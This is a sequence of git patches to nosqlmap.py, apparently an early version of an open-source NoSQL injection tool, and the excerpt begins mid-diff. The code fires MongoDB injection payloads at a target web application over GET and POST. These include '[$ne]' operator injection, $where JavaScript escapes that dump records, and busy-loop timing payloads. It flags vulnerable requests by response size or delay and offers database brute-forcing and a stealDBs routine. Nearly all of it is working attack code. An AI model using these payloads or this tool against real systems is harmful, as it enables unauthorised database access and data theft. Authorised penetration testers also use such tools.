int(len(urllib.urlopen(randomUri).read())) + print "Got response length of " + str(randLength) + "." + + randNormDelta = abs(normLength - randLength) + + if randNormDelta == 0: + print "No change in response size injecting a random parameter..\n" + else: + print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n" + + print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." + injLen = int(len(urllib.urlopen(uriArray[1]).read())) + print "Got response length of " + str(injLen) + "." + + randInjDelta = abs(injLen - randLength) + + if (randInjDelta >= 100) and (injLen != 0) : + print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!" + vulnAddrs.append(uriArray[1]) + + elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) : + print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. " + possAddrs.append(uriArray[1]) + + elif (randInjDelta == 0): + print "Random string response size and not equals injection were the same. Injection did not work." + else: + print "Injected response was smaller than random response. Injection may have worked but requires verification." + possAddrs.append(uriArray[1]) + + print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" + print "Injecting " + uriArray[2] + + whereStrLen = int(len(urllib.urlopen(uriArray[2]).read())) + whereStrDelta = abs(whereStrLen - randLength) + + if (whereStrDelta >= 100) and (whereStrLen > 0): + print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!" + lt24 = True + str24 = True + vulnAddrs.append(uriArray[2]) + + elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0): + print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." + possAddrs.append(uriArray[2]) + + elif (whereStrDelta == 0): + print "Random string response size and $where injection were the same. Injection did not work." + + else: + print "Injected response was smaller than random response. Injection may have worked but requires verification." + possAddrs.append(uriArray[2]) + + print "\n" + print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" + print "Injecting " + uriArray[3] + + whereIntLen = int(len(urllib.urlopen(uriArray[3]).read())) + whereIntDelta = abs(whereIntLen - randLength) + + if (whereIntDelta >= 100) and (whereIntLen - randLength > 0): + print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!" + lt24 = True + int24 = True + vulnAddrs.append(uriArray[3]) + + elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0): + print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." + possAddrs.append(uriArray[3]) + + elif (whereIntDelta == 0): + print "Random string response size and $where injection were the same. Injection did not work." + + else: + print "Injected response was smaller than random response. Injection may have worked but requires verification." + possAddrs.append(uriArray[3]) + + #Start a single record attack in case the app expects only one record back + + print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" + print " Injecting " + uriArray[4] + + + whereOneStrLen = int(len(urllib.urlopen(uriArray[4]).read())) + whereOneStrDelta = abs(whereOneStrLen - randLength) + + if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0): + print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!" + lt24 = True + str24 = True + vulnAddrs.append(uriArray[4]) + + elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0): + print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." + possAddrs.append(uriArray[4]) + + elif (whereOneStrDelta == 0): + print "Random string response size and $where single injection were the same. Injection did not work." + + else: + print "Injected response was smaller than random response. Injection may have worked but requires verification." + possAddrs.append(uriArray[4]) + + print "\n" + print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" + print " Injecting " + uriArray[5] + + + whereOneIntLen = int(len(urllib.urlopen(uriArray[5]).read())) + whereOneIntDelta = abs(whereOneIntLen - randLength) + + if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0): + print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!" + lt24 = True + int24 = True + vulnAddrs.append(uriArray[5]) + + elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0): + print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." + possAddrs.append(uriArray[5]) + + elif (whereOneIntDelta == 0): + print "Random string response size and $where single record injection were the same. Injection did not work." + + else: + print "Injected response was smaller than random response. Injection may have worked but requires verification." + possAddrs.append(uriArray[5]) + + print "\n" + print "Testing Mongo this not equals string escape attack for all records..." + print " Injecting " + uriArray[8] + + whereThisStrLen = int(len(urllib.urlopen(uriArray[8]).read())) + whereThisStrDelta = abs(whereThisStrLen - randLength) + + if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0): + print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" + vulnAddrs.append(uriArray[8]) + + elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0): + print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." + possAddrs.append(uriArray[8]) + + elif (whereThisStrDelta == 0): + print "Random string response size and this return response size were the same. Injection did not work." + + else: + print "Injected response was smaller than random response. Injection may have worked but requires verification." + possAddrs.append(uriArray[8]) + + print "\n" + print "Testing Mongo this not equals integer escape attack for all records..." + print " Injecting " + uriArray[9] + + whereThisIntLen = int(len(urllib.urlopen(uriArray[9]).read())) + whereThisIntDelta = abs(whereThisIntLen - randLength) + + if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0): + print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" + vulnAddrs.append(uriArray[9]) + + elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0): + print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." + possAddrs.append(uriArray[9]) + + elif (whereThisIntDelta == 0): + print "Random string response size and this return response size were the same. Injection did not work." + + else: + print "Injected response was smaller than random response. Injection may have worked but requires verification." + possAddrs.append(uriArray[9]) + + print "\n" + doTimeAttack = raw_input("Start timing based tests (y/n)? ") + + if doTimeAttack == "y" or doTimeAttack == "Y": + print "Starting Javascript string escape time based injection..." + start = time.time() + strTimeInj = urllib.urlopen(uriArray[6]) + page = strTimeInj.read() + end = time.time() + strTimeInj.close() + #print str(end) + #print str(start) + strTimeDelta = (int(round((end - start), 3)) - timeBase) + #print str(strTimeDelta) + if strTimeDelta > 25: + print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." + strTbAttack = True + + else: + print "HTTP load time variance was only " + str(strTimeDelta) + ". Injection probably didn't work." + strTbAttack = False + + print "Starting Javascript integer escape time based injection..." + start = time.time() + intTimeInj = urllib.urlopen(uriArray[7]) + page = intTimeInj.read() + end = time.time() + intTimeInj.close() + #print str(end) + #print str(start) + intTimeDelta = (int(round((end - start), 3)) - timeBase) + #print str(strTimeDelta) + if intTimeDelta > 25: + print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." + intTbAttack = True + + else: + print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work." + intTbAttack = False + + if lt24 == True: + bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") + + if bfInfo == "y" or bfInfo == "Y": + getDBInfo() + + + print "\n" + print "Vunerable URLs:" + print "\n".join(vulnAddrs) + print "\n" + print "Possibly vulnerable URLs:" + print"\n".join(possAddrs) + print "\n" + print "Timing based attacks:" + + if strTbAttack == True: + print "String attack-Successful" + else: + print "String attack-Unsuccessful" + if intTbAttack == True: + print "Integer attack-Successful" + else: + print "Integer attack-Unsuccessful" + + fileOut = raw_input("Save results to file (y/n)? ") + + if fileOut == "y" or fileOut == "Y": + savePath = raw_input("Enter output file name: ") + fo = open(savePath, "wb") + fo.write ("Vulnerable URLs:\n") + fo.write("\n".join(vulnAddrs)) + fo.write("\n\n") + fo.write("Possibly Vulnerable URLs:\n") + fo.write("\n".join(possAddrs)) + fo.write("\n") + fo.write("Timing based attacks:\n") + + if strTbAttack == True: + fo.write("String Attack-Successful\n") + else: + fo.write("String Attack-Unsuccessful\n") + fo.write("\n") + + if intTbAttack == True: + fo.write("Integer attack-Successful\n") + else: + fo.write("Integer attack-Unsuccessful\n") + fo.write("\n") + fo.close() + + raw_input("Press enter to continue...") + return() def webApps(): print "Web App Attacks" @@ -969,7 +1299,28 @@ def buildUri(origUri, randValue): return uriArray[0] def buildPostData(body): - print "Post data crap goes here." + global bodyArray + bodyArray = ["","","","","","","","","","","","","","","","","",""] + injOpt = "" + + #Split the string between the path and parameters, and then split each parameter + + + menuItem = 1 + print "List of parameters:" + for params in body.keys(): + print str(menuItem) + "-" + params + menuItem += 1 + + try: + injIndex = raw_input("Which parameter should we inject? ") + injOpt = str(body.keys()[int(injIndex)-1]) + print "Injecting the " + injOpt + " parameter..." + except: + raw_input("Something went wrong. Press enter to return to the main menu...") + mainMenu() + + def stealDBs(myDB): menuItem = 1 From fbaba4ec22411f6b90c8e973f089d00465ff30cd Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 1 Mar 2014 10:13:01 -0600 Subject: [PATCH 034/207] Finished malicious post body generation, fixed two integer injection bugs --- nosqlmap.py | 94 +++++++++++++++++++++++++++++++++-------------------- 1 file changed, 59 insertions(+), 35 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index a255f56..2b361c7 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -28,6 +28,7 @@ import gridfs import ipcalc import signal +import ast from hashlib import md5 #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. @@ -491,7 +492,7 @@ def netAttacks(target): def postApps(): - print "Web App Attacks" + print "Web App Attacks (POST)" print "===============" paramName = [] paramValue = [] @@ -547,9 +548,12 @@ def postApps(): #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. - randomUri = buildUri(appURL,injectString) - print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" - randLength = int(len(urllib.urlopen(randomUri).read())) + randomPost = buildPostData(postData,injectString) + print "Checking random injected parameter HTTP response size sending " + str(randomPost) +"...\n" + + body = urllib.urlencode(randomPost) + req = urllib2.Request(appURL,body) + randLength = int(len(urllib.urlopen(req).read())) print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -816,7 +820,7 @@ def postApps(): return() def webApps(): - print "Web App Attacks" + print "Web App Attacks (GET)" print "===============" paramName = [] paramValue = [] @@ -1133,14 +1137,12 @@ def webApps(): raw_input("Press enter to continue...") return() -def webDBAttacks(trueLen): - nameLen = 0 - injTestLen = 0 - getDBName = raw_input("Get database name (y/n)? ") - - if getDBName == "y" or getDBName == "Y": - while injTestLen != trueLen: - testUri = uriArray[16].split("---") +#def webDBAttacks(trueLen): +# injTestLen = 0 +# getDBName = raw_input("Get database name (y/n)? ") +# if getDBName == "y" or getDBName == "Y": +# while injTestLen != trueLen: +# testUri = uriArray[16].split("---") @@ -1241,7 +1243,7 @@ def buildUri(origUri, randValue): uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" - uriArray[5] += paramName[x] + "=a; return db.a.findOne(); var dummy=1" + "&" + uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" uriArray[6] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" uriArray[7] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" uriArray[8] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" @@ -1278,29 +1280,16 @@ def buildUri(origUri, randValue): x += 1 #Clip the extra & off the end of the URL - uriArray[0]= uriArray[0][:-1] - uriArray[1] = uriArray[1][:-1] - uriArray[2] = uriArray[2][:-1] - uriArray[3] = uriArray[3][:-1] - uriArray[4] = uriArray[4][:-1] - uriArray[5] = uriArray[5][:-1] - uriArray[6] = uriArray[6][:-1] - uriArray[7] = uriArray[7][:-1] - uriArray[8] = uriArray[8][:-1] - uriArray[9] = uriArray[9][:-1] - uriArray[10] = uriArray[10][:-1] - uriArray[11] = uriArray[11][:-1] - uriArray[12] = uriArray[12][:-1] - uriArray[13] = uriArray[13][:-1] - uriArray[14] = uriArray[14][:-1] - uriArray[15] = uriArray[15][:-1] - uriArray[16] = uriArray[16][:-1] - uriArray[17] = uriArray[17][:-1] + x = 0 + while x <= 17: + uriArray[x]= uriArray[x][:-1] + x += 1 + return uriArray[0] -def buildPostData(body): - global bodyArray - bodyArray = ["","","","","","","","","","","","","","","","","",""] +def buildPostData(body,randValue): + global bodyList + bodyList = [] injOpt = "" #Split the string between the path and parameters, and then split each parameter @@ -1319,6 +1308,41 @@ def buildPostData(body): except: raw_input("Something went wrong. Press enter to return to the main menu...") mainMenu() + x = 0 + while x <= 18: + bodyList.append(body) + x += 1 + + bodyList[0].update({injOpt,randValue}) + #gotta change the key name to include the not equals + tempStr = str(bodyList[1]) + tempStr = tempStr.replace(injOpt, injOpt + "[$ne]") + tempDict = ast.literal_eval(tempStr) + del bodyList[1] + bodyList.insert(1, tempDict) + bodyList[2].update({injOpt : "a'; return db.a.find(); var dummy='!"}) + bodyList[3].update({injOpt : "=1; return db.a.find(); var dummy=1"}) + bodyList[4].update({injOpt : "=a'; return db.a.findOne(); var dummy='!"}) + bodyList[5].update({injOpt : "=1; return db.a.findOne(); var dummy=1"}) + bodyList[6].update({injOpt : "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"}) + bodyList[7].update({injOpt : "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) + bodyList[8].update({injOpt : "=a'; return this.a != '" + randValue + "'; var dummy='!"}) + bodyList[9].update({injOpt : "=1; return this.a !=" + randValue + "; var dummy=1"}) + bodyList[10].update({injOpt : "=a\"; return db.a.find(); var dummy=\"!"}) + bodyList[11].update({injOpt : "=a\"; return this.a != '" + randValue + "'; var dummy=\"!"}) + bodyList[12].update({injOpt :"=a\"; return db.a.findOne(); var dummy=\"!"}) + bodyList[13].update({injOpt : "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!"} ) + bodyList[14].update({injOpt : "a'; return true; var dum=a"}) + bodyList[15].update({injOpt : "1; return true; var dum=2"}) + bodyList[16].update({injOpt : "=a\'; ---"}) + bodyList[17].update({injOpt : "=1; ---"}) + + return bodyList[0] + + + + + From 248f8c2687cec88c1f8edcf8acd2405a87ec9a08 Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 3 Mar 2014 15:36:17 -0600 Subject: [PATCH 035/207] POST code complete; Debug needed --- nosqlmap.py | 216 +++++++++++++++++++++++----------------------------- 1 file changed, 97 insertions(+), 119 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 2b361c7..4fcfbc3 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -541,19 +541,35 @@ def postApps(): print "Looks like the server didn't respond. Check your options." if appUp == True: - + + menuItem = 1 + print "List of parameters:" + for params in postData.keys(): + print str(menuItem) + "-" + params + menuItem += 1 + + try: + injIndex = raw_input("Which parameter should we inject? ") + injOpt = str(postData.keys()[int(injIndex)-1]) + print "Injecting the " + injOpt + " parameter..." + except: + print str(sys.exc_info()) + raw_input("Something went wrong. Press enter to return to the main menu...") + mainMenu() + injectSize = raw_input("Baseline test-Enter random string size: ") injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" + #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. - randomPost = buildPostData(postData,injectString) - print "Checking random injected parameter HTTP response size sending " + str(randomPost) +"...\n" + postData.update({injOpt:injectString}) + print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" - body = urllib.urlencode(randomPost) + body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) - randLength = int(len(urllib.urlopen(req).read())) + randLength = int(len(urllib2.urlopen(req).read())) print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -563,167 +579,191 @@ def postApps(): else: print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n" - print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." - injLen = int(len(urllib.urlopen(uriArray[1]).read())) + #Generate not equals injection + neDict = postData + neDict[injOpt + "[$ne]"] = neDict[injOpt] + del neDict[injOpt] + body = urllib.urlencode(neDict) + req = urllib2.Request(appURL,body) + print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." + injLen = int(len(urllib2.urlopen(req).read())) print "Got response length of " + str(injLen) + "." randInjDelta = abs(injLen - randLength) if (randInjDelta >= 100) and (injLen != 0) : print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!" - vulnAddrs.append(uriArray[1]) + vulnAddrs.append(str(neDict)) elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) : print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. " - possAddrs.append(uriArray[1]) + possAddrs.append(str(neDict)) elif (randInjDelta == 0): print "Random string response size and not equals injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[1]) - + possAddrs.append(str(neDict)) + #Delete the extra key + del postData[injOpt + "[$ne]"] + postData.update({injOpt:"=a'; return db.a.find(); var dummy='!"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" - print "Injecting " + uriArray[2] + print "Injecting " + str(postData) - whereStrLen = int(len(urllib.urlopen(uriArray[2]).read())) + whereStrLen = int(len(urllib2.urlopen(req).read())) whereStrDelta = abs(whereStrLen - randLength) if (whereStrDelta >= 100) and (whereStrLen > 0): print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!" lt24 = True str24 = True - vulnAddrs.append(uriArray[2]) + vulnAddrs.append(str(postData)) elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0): print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[2]) + possAddrs.append(str(postData)) elif (whereStrDelta == 0): print "Random string response size and $where injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[2]) + possAddrs.append(str(postData)) print "\n" + postData.update({injOpt:"=1; return db.a.find(); var dummy=1"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" - print "Injecting " + uriArray[3] + print "Injecting " + str(postData) - whereIntLen = int(len(urllib.urlopen(uriArray[3]).read())) + whereIntLen = int(len(urllib2.urlopen(req).read())) whereIntDelta = abs(whereIntLen - randLength) if (whereIntDelta >= 100) and (whereIntLen - randLength > 0): print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!" lt24 = True int24 = True - vulnAddrs.append(uriArray[3]) + vulnAddrs.append(str(postData)) elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0): print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[3]) + possAddrs.append(str(postData)) elif (whereIntDelta == 0): print "Random string response size and $where injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[3]) + possAddrs.append(str(postData)) #Start a single record attack in case the app expects only one record back + postData.update({injOpt:"=a'; return db.a.findOne(); var dummy='!"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" - print " Injecting " + uriArray[4] - + print " Injecting " + str(postData) - whereOneStrLen = int(len(urllib.urlopen(uriArray[4]).read())) + whereOneStrLen = int(len(urllib2.urlopen(req).read())) whereOneStrDelta = abs(whereOneStrLen - randLength) if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0): print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!" lt24 = True str24 = True - vulnAddrs.append(uriArray[4]) + vulnAddrs.append(str(postData)) elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0): print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[4]) + possAddrs.append(str(postData)) elif (whereOneStrDelta == 0): print "Random string response size and $where single injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[4]) + possAddrs.append(str(postData)) print "\n" + postData.update({injOpt:"=1; return db.a.findOne(); var dummy=1"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" - print " Injecting " + uriArray[5] - + print " Injecting " + str(postData) - whereOneIntLen = int(len(urllib.urlopen(uriArray[5]).read())) + whereOneIntLen = int(len(urllib2.urlopen(req).read())) whereOneIntDelta = abs(whereOneIntLen - randLength) if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0): print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!" lt24 = True int24 = True - vulnAddrs.append(uriArray[5]) + vulnAddrs.append(str(postData)) elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0): print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[5]) + possAddrs.append(postData) elif (whereOneIntDelta == 0): print "Random string response size and $where single record injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[5]) + possAddrs.append(str(postData)) print "\n" + postData.update({injOpt:"=a'; return this.a != '" + injectString + "'; var dummy='!"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) + print "Testing Mongo this not equals string escape attack for all records..." - print " Injecting " + uriArray[8] + print " Injecting " + str(postData) - whereThisStrLen = int(len(urllib.urlopen(uriArray[8]).read())) + whereThisStrLen = int(len(urllib2.urlopen(req).read())) whereThisStrDelta = abs(whereThisStrLen - randLength) if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0): print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(uriArray[8]) + vulnAddrs.append(str(postData)) elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0): print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[8]) + possAddrs.append(str(postData)) elif (whereThisStrDelta == 0): print "Random string response size and this return response size were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[8]) + possAddrs.append(str(postData)) print "\n" + postData.update({injOpt:"=1; return this.a != '" + injectString + "'; var dummy=1"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) print "Testing Mongo this not equals integer escape attack for all records..." - print " Injecting " + uriArray[9] + print " Injecting " + str(postData) - whereThisIntLen = int(len(urllib.urlopen(uriArray[9]).read())) + whereThisIntLen = int(len(urllib2.urlopen(req).read())) whereThisIntDelta = abs(whereThisIntLen - randLength) if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0): print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(uriArray[9]) + vulnAddrs.append(str(postData)) elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0): print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[9]) + possAddrs.append(str(postData)) elif (whereThisIntDelta == 0): print "Random string response size and this return response size were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[9]) + possAddrs.append(str(postData)) print "\n" doTimeAttack = raw_input("Start timing based tests (y/n)? ") @@ -731,10 +771,12 @@ def postApps(): if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." start = time.time() - strTimeInj = urllib.urlopen(uriArray[6]) - page = strTimeInj.read() + postData.update({injOpt:"=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"}) + body = urllib.urlencode(postData) + conn = urllib2.urlopen(req,body) + page = conn.read() end = time.time() - strTimeInj.close() + conn.close() #print str(end) #print str(start) strTimeDelta = (int(round((end - start), 3)) - timeBase) @@ -744,15 +786,17 @@ def postApps(): strTbAttack = True else: - print "HTTP load time variance was only " + str(strTimeDelta) + ". Injection probably didn't work." + print "HTTP load time variance was only " + str(strTimeDelta) + "seconds. Injection probably didn't work." strTbAttack = False print "Starting Javascript integer escape time based injection..." start = time.time() - intTimeInj = urllib.urlopen(uriArray[7]) - page = intTimeInj.read() + postData.update({injOpt:"=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) + body = urllib.urlencode(postData) + conn = urllib2.urlopen(req,body) + page = conn.read() end = time.time() - intTimeInj.close() + conn.close() #print str(end) #print str(start) intTimeDelta = (int(round((end - start), 3)) - timeBase) @@ -765,18 +809,11 @@ def postApps(): print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work." intTbAttack = False - if lt24 == True: - bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") - - if bfInfo == "y" or bfInfo == "Y": - getDBInfo() - - print "\n" - print "Vunerable URLs:" + print "Exploitable requests:" print "\n".join(vulnAddrs) print "\n" - print "Possibly vulnerable URLs:" + print "Possibly vulnerable requests:" print"\n".join(possAddrs) print "\n" print "Timing based attacks:" @@ -1285,66 +1322,7 @@ def buildUri(origUri, randValue): uriArray[x]= uriArray[x][:-1] x += 1 - return uriArray[0] - -def buildPostData(body,randValue): - global bodyList - bodyList = [] - injOpt = "" - - #Split the string between the path and parameters, and then split each parameter - - - menuItem = 1 - print "List of parameters:" - for params in body.keys(): - print str(menuItem) + "-" + params - menuItem += 1 - - try: - injIndex = raw_input("Which parameter should we inject? ") - injOpt = str(body.keys()[int(injIndex)-1]) - print "Injecting the " + injOpt + " parameter..." - except: - raw_input("Something went wrong. Press enter to return to the main menu...") - mainMenu() - x = 0 - while x <= 18: - bodyList.append(body) - x += 1 - - bodyList[0].update({injOpt,randValue}) - #gotta change the key name to include the not equals - tempStr = str(bodyList[1]) - tempStr = tempStr.replace(injOpt, injOpt + "[$ne]") - tempDict = ast.literal_eval(tempStr) - del bodyList[1] - bodyList.insert(1, tempDict) - bodyList[2].update({injOpt : "a'; return db.a.find(); var dummy='!"}) - bodyList[3].update({injOpt : "=1; return db.a.find(); var dummy=1"}) - bodyList[4].update({injOpt : "=a'; return db.a.findOne(); var dummy='!"}) - bodyList[5].update({injOpt : "=1; return db.a.findOne(); var dummy=1"}) - bodyList[6].update({injOpt : "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"}) - bodyList[7].update({injOpt : "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) - bodyList[8].update({injOpt : "=a'; return this.a != '" + randValue + "'; var dummy='!"}) - bodyList[9].update({injOpt : "=1; return this.a !=" + randValue + "; var dummy=1"}) - bodyList[10].update({injOpt : "=a\"; return db.a.find(); var dummy=\"!"}) - bodyList[11].update({injOpt : "=a\"; return this.a != '" + randValue + "'; var dummy=\"!"}) - bodyList[12].update({injOpt :"=a\"; return db.a.findOne(); var dummy=\"!"}) - bodyList[13].update({injOpt : "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!"} ) - bodyList[14].update({injOpt : "a'; return true; var dum=a"}) - bodyList[15].update({injOpt : "1; return true; var dum=2"}) - bodyList[16].update({injOpt : "=a\'; ---"}) - bodyList[17].update({injOpt : "=1; ---"}) - - return bodyList[0] - - - - - - - + return uriArray[0] def stealDBs(myDB): menuItem = 1 From 04366176c825ffb1534a41213509d128f345f2c7 Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 11 Mar 2014 15:47:45 -0500 Subject: [PATCH 036/207] Finished POST --- nosqlmap.py | 57 ++++++++++++++++++++++++++++++----------------------- 1 file changed, 32 insertions(+), 25 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 4fcfbc3..409f321 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -29,6 +29,7 @@ import ipcalc import signal import ast +import datetime from hashlib import md5 #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. @@ -199,6 +200,7 @@ def options(): httpMethod = raw_input("Select an option: ") if httpMethod == "1": + httpMethod = "GET" print "GET request set" optionSet[3] = True options() @@ -606,7 +608,7 @@ def postApps(): 